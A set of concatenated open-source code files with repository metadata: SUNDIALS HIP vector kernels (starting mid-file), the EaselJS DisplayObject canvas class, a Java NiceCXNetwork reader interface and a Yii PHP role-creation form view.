Reduction is performed * to flag the result if any x[i] = 0. * */ template <typename T, typename I> __global__ void invTestKernel(const T *x, T *z, T *out, I n) { T flag = 0.0; GRID_STRIDE_XLOOP(I, i, n) { if (x[i] == static_cast<T>(0.0)) flag += 1.0; else z[i] = 1.0/x[i]; } flag = blockReduce<T, RSUM>(flag, 0.0); // Copy reduction result for each block to global memory if (threadIdx.x == 0) atomicAdd(out, flag); } /* * Checks if inequality constraints are satisfied. Constraint check * results are stored in vector 'm'. A sum reduction over all elements * of 'm' is performed to find if any of the constraints is violated. * If all constraints are satisfied sum == 0. * */ template <typename T, typename I> __global__ void constrMaskKernel(const T *c, const T *x, T *m, T *out, I n) { T sum = 0.0; GRID_STRIDE_XLOOP(I, i, n) { // test = true if constraints violated bool test = (std::abs(c[i]) > 1.5 && c[i]*x[i] <= 0.0) || (std::abs(c[i]) > 0.5 && c[i]*x[i] < 0.0); m[i] = test ? 1.0 : 0.0; sum = m[i]; } sum = blockReduce<T, RSUM>(sum, 0.0); // Copy reduction result for each block to global memory if (threadIdx.x == 0) atomicAdd(out, sum); } /* * Finds minimum component-wise quotient. * */ template <typename T, typename I> __global__ void minQuotientKernel(const T MAX_VAL, const T *num, const T *den, T *min_quotient, I n) { T minimum = MAX_VAL; T quotient = 0.0; GRID_STRIDE_XLOOP(I, i, n) { quotient = (den[i] == static_cast<T>(0.0)) ? MAX_VAL : num[i]/den[i]; minimum = min(quotient, minimum); } minimum = blockReduce<T, RMIN>(minimum, MAX_VAL); // minimum of reduction result for each block if (threadIdx.x == 0) AtomicMin(min_quotient, minimum); } } // namespace nvector_hip } // namespace sundials #endif // _NVECTOR_HIP_KERNELS_HIP_HPP_
stan-dev/math
lib/sundials_6.0.0/src/nvector/hip/VectorKernels.hip.hpp
C++
bsd-3-clause
7,402
/* * DisplayObject by Grant Skinner. Dec 5, 2010 * Visit http://easeljs.com/ for documentation, updates and examples. * * * Copyright (c) 2010 Grant Skinner * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ /** * The Easel Javascript library provides a retained graphics mode for canvas * including a full, hierarchical display list, a core interaction model, and * helper classes to make working with Canvas much easier. * @module EaselJS **/ (function(window) { /** * DisplayObject is an abstract class that should not be constructed directly. Instead construct subclasses such as * Sprite, Bitmap, and Shape. DisplayObject is the base class for all display classes in the CanvasDisplay library. * It defines the core properties and methods that are shared between all display objects. * @class DisplayObject * @constructor **/ DisplayObject = function() { this.initialize(); } var p = DisplayObject.prototype; /** * Suppresses errors generated when using features like hitTest, onPress/onClick, and getObjectsUnderPoint with cross * domain content * @property suppressCrossDomainErrors * @static * @type Boolean * @default false **/ DisplayObject.suppressCrossDomainErrors = false; /** * @property _hitTestCanvas * @type HTMLCanvasElement * @static * @protected **/ DisplayObject._hitTestCanvas = document.createElement("canvas"); DisplayObject._hitTestCanvas.width = DisplayObject._hitTestCanvas.height = 1; /** * @property _hitTestContext * @type CanvasRenderingContext2D * @static * @protected **/ DisplayObject._hitTestContext = DisplayObject._hitTestCanvas.getContext("2d"); /** * @property _workingMatrix * @type Matrix2D * @static * @protected **/ DisplayObject._workingMatrix = new Matrix2D(); /** * The alpha (transparency) for this display object. 0 is fully transparent, 1 is fully opaque. * @property alpha * @type Number * @default 1 **/ p.alpha = 1; /** * If a cache is active, this returns the canvas that holds the cached version of this display object. See cache() * for more information. READ-ONLY. * @property cacheCanvas * @type HTMLCanvasElement * @default null **/ p.cacheCanvas = null; /** * Unique ID for this display object. Makes display objects easier for some uses. * @property id * @type Number * @default -1 **/ p.id = -1; /** * Indicates whether to include this object when running Stage.getObjectsUnderPoint(). Setting this to true for * Sprites will cause the Sprite to be returned (not its children) regardless of whether it's mouseChildren property * is true. * @property mouseEnabled * @type Boolean * @default true **/ p.mouseEnabled = true; /** * An optional name for this display object. Included in toString(). Useful for debugging. * @property name * @type String * @default null **/ p.name = null; /** * A reference to the Sprite or Stage object that contains this display object, or null if it has not been added to * one. READ-ONLY. * @property parent * @final * @type DisplayObject * @default null **/ p.parent = null; /** * The x offset for this display object's registration point. For example, to make a 100x100px Bitmap rotate around * it's center, you would set regX and regY to 50. * @property regX * @type Number * @default 0 **/ p.regX = 0; /** * The y offset for this display object's registration point. For example, to make a 100x100px Bitmap rotate around * it's center, you would set regX and regY to 50. * @property regY * @type Number * @default 0 **/ p.regY = 0; /** * The rotation in degrees for this display object. * @property rotation * @type Number * @default 0 **/ p.rotation = 0; /** * The factor to stretch this display object horizontally. For example, setting scaleX to 2 will stretch the display * object to twice it's nominal width. * @property scaleX * @type Number * @default 1 **/ p.scaleX = 1; /** * The factor to stretch this display object vertically. For example, setting scaleY to 0.5 will stretch the display * object to half it's nominal height. * @property scaleY * @type Number * @default 1 **/ p.scaleY = 1; /** * The factor to skew this display object horizontally. * @property skewX * @type Number * @default 0 **/ p.skewX = 0; /** * The factor to skew this display object vertically. * @property skewY * @type Number * @default 0 **/ p.skewY = 0; /** * A shadow object that defines the shadow to render on this display object. Set to null to remove a shadow. If * null, this property is inherited from the parent container. * @property shadow * @type Shadow * @default null **/ p.shadow = null; /** * Indicates whether this display object should be rendered to the canvas and included when running * Stage.getObjectsUnderPoint(). * @property visible * @type Boolean * @default true **/ p.visible = true; /** * The x (horizontal) position of the display object, relative to its parent. * @property x * @type Number * @default 0 **/ p.x = 0; /** The y (vertical) position of the display object, relative to its parent. * @property y * @type Number * @default 0 **/ p.y = 0; /** * The composite operation indicates how the pixels of this display object will be composited with the elements * behind it. If null, this property is inherited from the parent container. For more information, read the * <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#compositing"> * whatwg spec on compositing</a>. * @property compositeOperation * @type String * @default null **/ p.compositeOperation = null; /** * Indicates whether the display object should have it's x & y position rounded prior to drawing it to stage. * This only applies if the enclosing stage has snapPixelsEnabled set to true, and the display object's composite * transform does not include any scaling, rotation, or skewing. The snapToPixel property is true by default for * Bitmap and BitmapSequence instances, and false for all other display objects. * @property snapToPixel * @type Boolean * @default false **/ p.snapToPixel = false; /** * The onPress callback is called when the user presses down on their mouse over this display object. The handler * is passed a single param containing the corresponding MouseEvent instance. You can subscribe to the onMouseMove * and onMouseUp callbacks of the event object to receive these events until the user releases the mouse button. * If an onPress handler is set on a container, it will receive the event if any of its children are clicked. * @event onPress * @param {MouseEvent} event MouseEvent with information about the event. **/ p.onPress = null; /** * The onClick callback is called when the user presses down on and then releases the mouse button over this * display object. The handler is passed a single param containing the corresponding MouseEvent instance. If an * onClick handler is set on a container, it will receive the event if any of its children are clicked. * @event onClick * @param {MouseEvent} event MouseEvent with information about the event. **/ p.onClick = null; /** * The onMouseOver callback is called when the user rolls over the display object. You must enable this event using * stage.enableMouseOver(). The handler is passed a single param containing the corresponding MouseEvent instance. * @event onMouseOver * @param {MouseEvent} event MouseEvent with information about the event. **/ p.onMouseOver = null; /** * The onMouseOut callback is called when the user rolls off of the display object. You must enable this event using * stage.enableMouseOver(). The handler is passed a single param containing the corresponding MouseEvent instance. * @event onMouseOut * @param {MouseEvent} event MouseEvent with information about the event. **/ p.onMouseOut = null; // private properties: /** * @property _cacheOffsetX * @protected * @type Number * @default 0 **/ p._cacheOffsetX = 0; /** * @property _cacheOffsetY * @protected * @type Number * @default 0 **/ p._cacheOffsetY = 0; /** * @property _cacheDraw * @protected * @type Boolean * @default false **/ p._cacheDraw = false; /** * @property _activeContext * @protected * @type CanvasRenderingContext2D * @default null **/ p._activeContext = null; /** * @property _restoreContext * @protected * @type Boolean * @default false **/ p._restoreContext = false; /** * @property _revertShadow * @protected * @type Boolean * @default false **/ p._revertShadow = false; /** * @property _revertX * @protected * @type Number * @default 0 **/ p._revertX = 0; /** * @property _revertY * @protected * @type Number * @default 0 **/ p._revertY = 0; /** * @property _revertAlpha * @protected * @type Number * @default 1 **/ p._revertAlpha = 1; // constructor: // separated so it can be easily addressed in subclasses: /** * Initialization method. * @method initialize * @protected */ p.initialize = function() { this.id = UID.get(); this.children = []; } // public methods: /** * Returns true or false indicating whether the display object would be visible if drawn to a canvas. * This does not account for whether it would be visible within the boundaries of the stage. * NOTE: This method is mainly for internal use, though it may be useful for advanced uses. * @method isVisible * @return {Boolean} Boolean indicating whether the display object would be visible if drawn to a canvas **/ p.isVisible = function() { return this.visible && this.alpha > 0 && this.scaleX != 0 && this.scaleY != 0; } /** * Draws the display object into the specified context ignoring it's visible, alpha, shadow, and transform. * Returns true if the draw was handled (useful for overriding functionality). * NOTE: This method is mainly for internal use, though it may be useful for advanced uses. * @method draw * @param {CanvasRenderingContext2D} ctx The canvas 2D context object to draw into. * @param {Boolean} ignoreCache Indicates whether the draw operation should ignore any current cache. * For example, used for drawing the cache (to prevent it from simply drawing an existing cache back * into itself). **/ p.draw = function(ctx, ignoreCache) { if (ignoreCache || !this.cacheCanvas) { return false; } ctx.translate(this._cacheOffsetX, this._cacheOffsetY); ctx.drawImage(this.cacheCanvas, 0, 0); ctx.translate(-this._cacheOffsetX, -this._cacheOffsetY); return true; } /** * Draws the display object into a new canvas, which is then used for subsequent draws. For complex content * that does not change frequently (ex. a Sprite with many children that do not move, or a complex vector Shape), * this can provide for much faster rendering because the content does not need to be re-rendered each tick. The * cached display object can be moved, rotated, faded, etc freely, however if it's content changes, you must manually * update the cache by calling updateCache() or cache() again. You must specify the cache area via the x, y, w, * and h parameters. This defines the rectangle that will be rendered and cached using this display object's * coordinates. For example if you defined a Shape that drew a circle at 0, 0 with a radius of 25, you could call * myShape.cache(-25, -25, 50, 50) to cache the full shape. * @method cache * @param {Number} x The x coordinate origin for the cache region. * @param {Number} y The y coordinate origin for the cache region. * @param {Number} width The width of the cache region. * @param {Number} height The height of the cache region. **/ p.cache = function(x, y, width, height) { // draw to canvas. var ctx; if (this.cacheCanvas == null) { this.cacheCanvas = document.createElement("canvas"); } ctx = this.cacheCanvas.getContext("2d"); this.cacheCanvas.width = width; this.cacheCanvas.height = height; ctx.setTransform(1, 0, 0, 1, -x, -y); ctx.clearRect(0, 0, width+1, height+1); // because some browsers don't correctly clear if the width/height //remain the same. this.draw(ctx, true); this._cacheOffsetX = x; this._cacheOffsetY = y; } /** * Redraws the display object to its cache. Calling updateCache without an active cache will throw an error. * If compositeOperation is null the current cache will be cleared prior to drawing. Otherwise the display object * will be drawn over the existing cache using the specified compositeOperation. * @method updateCache * @param {String} compositeOperation The compositeOperation to use, or null to clear the cache and redraw it. * <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#compositing"> * whatwg spec on compositing</a>. **/ p.updateCache = function(compositeOperation) { if (this.cacheCanvas == null) { throw "cache() must be called before updateCache()"; } var ctx = this.cacheCanvas.getContext("2d"); ctx.setTransform(1, 0, 0, 1, -this._cacheOffsetX, -this._cacheOffsetY); if (!compositeOperation) { ctx.clearRect(0, 0, this.cacheCanvas.width+1, this.cacheCanvas.height+1); } else { ctx.globalCompositeOperation = compositeOperation; } this.draw(ctx, true); if (compositeOperation) { ctx.globalCompositeOperation = "source-over"; } } /** * Clears the current cache. See cache() for more information. * @method uncache **/ p.uncache = function() { this.cacheCanvas = null; this.cacheOffsetX = this.cacheOffsetY = 0; } /** * Returns the stage that this display object will be rendered on, or null if it has not been added to one. * @method getStage * @return {Stage} The Stage instance that the display object is a descendent of. null if the DisplayObject has not * been added to a Stage. **/ p.getStage = function() { var o = this; while (o.parent) { o = o.parent; } if (o instanceof Stage) { return o; } return null; } /** * Transforms the specified x and y position from the coordinate space of the display object * to the global (stage) coordinate space. For example, this could be used to position an HTML label * over a specific point on a nested display object. Returns a Point instance with x and y properties * correlating to the transformed coordinates on the stage. * @method localToGlobal * @param {Number} x The x position in the source display object to transform. * @param {Number} y The y position in the source display object to transform. * @return {Point} A Point instance with x and y properties correlating to the transformed coordinates * on the stage. **/ p.localToGlobal = function(x, y) { var mtx = this.getConcatenatedMatrix(); if (mtx == null) { return null; } mtx.append(1, 0, 0, 1, x, y); return new Point(mtx.tx, mtx.ty); } /** * Transforms the specified x and y position from the global (stage) coordinate space to the * coordinate space of the display object. For example, this could be used to determine * the current mouse position within the display object. Returns a Point instance with x and y properties * correlating to the transformed position in the display object's coordinate space. * @method globalToLocal * @param {Number} x The x position on the stage to transform. * @param {Number} y The y position on the stage to transform. * @return {Point} A Point instance with x and y properties correlating to the transformed position in the * display object's coordinate space. **/ p.globalToLocal = function(x, y) { var mtx = this.getConcatenatedMatrix(); if (mtx == null) { return null; } mtx.invert(); mtx.append(1, 0, 0, 1, x, y); return new Point(mtx.tx, mtx.ty); } /** * Transforms the specified x and y position from the coordinate space of this display object to the * coordinate space of the target display object. Returns a Point instance with x and y properties * correlating to the transformed position in the target's coordinate space. Effectively the same as calling * var pt = this.localToGlobal(x, y); pt = target.globalToLocal(pt.x, pt.y); * @method localToLocal * @param {Number} x The x position in the source display object to transform. * @param {Number} y The y position on the stage to transform. * @param {DisplayObject} target The target display object to which the coordinates will be transformed. * @return {Point} Returns a Point instance with x and y properties correlating to the transformed position * in the target's coordinate space. **/ p.localToLocal = function(x, y, target) { var pt = this.localToGlobal(x, y); return target.globalToLocal(pt.x, pt.y); } /** * Generates a concatenated Matrix2D object representing the combined transform of * the display object and all of its parent Containers up to the highest level ancestor * (usually the stage). This can be used to transform positions between coordinate spaces, * such as with localToGlobal and globalToLocal. * @method getConcatenatedMatrix * @param {Matrix2D} mtx Optional. A Matrix2D object to populate with the calculated values. If null, a new * Matrix object is returned. * @return {Matrix2D} a concatenated Matrix2D object representing the combined transform of * the display object and all of its parent Containers up to the highest level ancestor (usually the stage). **/ p.getConcatenatedMatrix = function(mtx) { if (mtx) { mtx.identity(); } else { mtx = new Matrix2D(); } var target = this; while (target != null) { mtx.prependTransform(target.x, target.y, target.scaleX, target.scaleY, target.rotation, target.skewX, target.skewY, target.regX, target.regY); mtx.prependProperties(target.alpha, target.shadow, target.compositeOperation); target = target.parent; } return mtx; } /** * Tests whether the display object intersects the specified local point (ie. draws a pixel with alpha > 0 at * the specified position). This ignores the alpha, shadow and compositeOperation of the display object, and all * transform properties including regX/Y. * @method hitTest * @param {Number} x The x position to check in the display object's local coordinates. * @param {Number} y The y position to check in the display object's local coordinates. * @return {Boolean} A Boolean indicting whether a visible portion of the DisplayObject intersect the specified * local Point. */ p.hitTest = function(x, y) { var ctx = DisplayObject._hitTestContext; var canvas = DisplayObject._hitTestCanvas; ctx.setTransform(1, 0, 0, 1, -x, -y); this.draw(ctx); var hit = this._testHit(ctx); canvas.width = 0; canvas.width = 1; return hit; } /** * Returns a clone of this DisplayObject. Some properties that are specific to this instance's current context are * reverted to their defaults (for example .parent). * @method clone @return {DisplayObject} A clone of the current DisplayObject instance. **/ p.clone = function() { var o = new DisplayObject(); this.cloneProps(o); return o; } /** * Returns a string representation of this object. * @method toString * @return {String} a string representation of the instance. **/ p.toString = function() { return "[DisplayObject (name="+ this.name +")]"; } // private methods: // separated so it can be used more easily in subclasses: /** * @method cloneProps * @protected * @param {DisplayObject} o The DisplayObject instance which will have properties from the current DisplayObject * instance copied into. **/ p.cloneProps = function(o) { o.alpha = this.alpha; o.name = this.name; o.regX = this.regX; o.regY = this.regY; o.rotation = this.rotation; o.scaleX = this.scaleX; o.scaleY = this.scaleY; o.shadow = this.shadow; o.skewX = this.skewX; o.skewY = this.skewY; o.visible = this.visible; o.x = this.x; o.y = this.y; o.mouseEnabled = this.mouseEnabled; o.compositeOperation = this.compositeOperation; } /** * @method applyShadow * @protected * @param {CanvasRenderingContext2D} ctx * @param {Shadow} shadow **/ p.applyShadow = function(ctx, shadow) { shadow = shadow || Shadow.identity; ctx.shadowColor = shadow.color; ctx.shadowOffsetX = shadow.offsetX; ctx.shadowOffsetY = shadow.offsetY; ctx.shadowBlur = shadow.blur; } /** * @method _testHit * @protected * @param {CanvasRenderingContext2D} ctx * @return {Boolean} **/ p._testHit = function(ctx) { try { var hit = ctx.getImageData(0, 0, 1, 1).data[3] > 1; } catch (e) { if (!DisplayObject.suppressCrossDomainErrors) { throw "An error has occured. This is most likely due to security restrictions on reading canvas pixel " + "data with local or cross-domain images."; } } return hit; } window.DisplayObject = DisplayObject; }(window));
PaulWoow/HTML5JUEGOGRAFICACION
Mini Valle PaJou/libs/easeljs/display/DisplayObject.js
JavaScript
bsd-3-clause
21,794
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package org.ndexbio.cxio.core.interfaces; import java.io.InputStream; import org.ndexbio.model.cx.NiceCXNetwork; import org.ndexbio.model.exceptions.NdexException; /** * Implementing interfaces support generating {@link org.ndexbio.model.cx.NiceCXNetwork} * objects from an {@link java.io.InputStream} * @author churas */ public interface INiceCXNetworkReader { /** * Reads {@code in} and generates {@link org.ndexbio.model.cx.NiceCXNetwork} * object * @param in {@link java.io.InputStream} to extract the {@link org.ndexbio.model.cx.NiceCXNetwork} from * @return {@link org.ndexbio.model.cx.NiceCXNetwork} object representing data from {@code in} * @throws NdexException If there was a problem parsing the input. */ public NiceCXNetwork readNiceCXNetwork(final InputStream in) throws NdexException; }
ndexbio/ndex-object-model
src/main/java/org/ndexbio/cxio/core/interfaces/INiceCXNetworkReader.java
Java
bsd-3-clause
1,040
<?php use yii\helpers\Html; use yii\helpers\ArrayHelper; $this->title = Yii::t('app', 'Create Role'); $this->params['breadcrumbs'][] = ['label'=>Yii::t('app', 'Admin'), 'url'=>['index']]; $this->params['breadcrumbs'][] = ['label'=>Yii::t('app', 'Roles'), 'url'=>['roles/index']]; $this->params['breadcrumbs'][] = $this->title; ?> <?= Html::beginForm('', 'POST') ?> <div class="form-group"> <?= Html::label(Yii::t('app', 'Role Name'), null, ['class'=>'control-label']) ?> <?= Html::input('text', 'role[name]', null, ['class'=>'form-control']) ?> </div> <div class="form-group"> <?= Html::label(Yii::t('app', 'Role Description'), null, ['class'=>'control-label']) ?> <?= Html::input('text', 'role[description]', null, ['class'=>'form-control']) ?> </div> <div class="form-group"> <?= Html::submitButton(Yii::t('app', 'Create'), ['class'=>'btn btn-success']) ?> </div> <?= Html::endForm() ?>
magdielikari/HidroLab-Manager
backend/modules/admin/views/roles/create.php
PHP
bsd-3-clause
901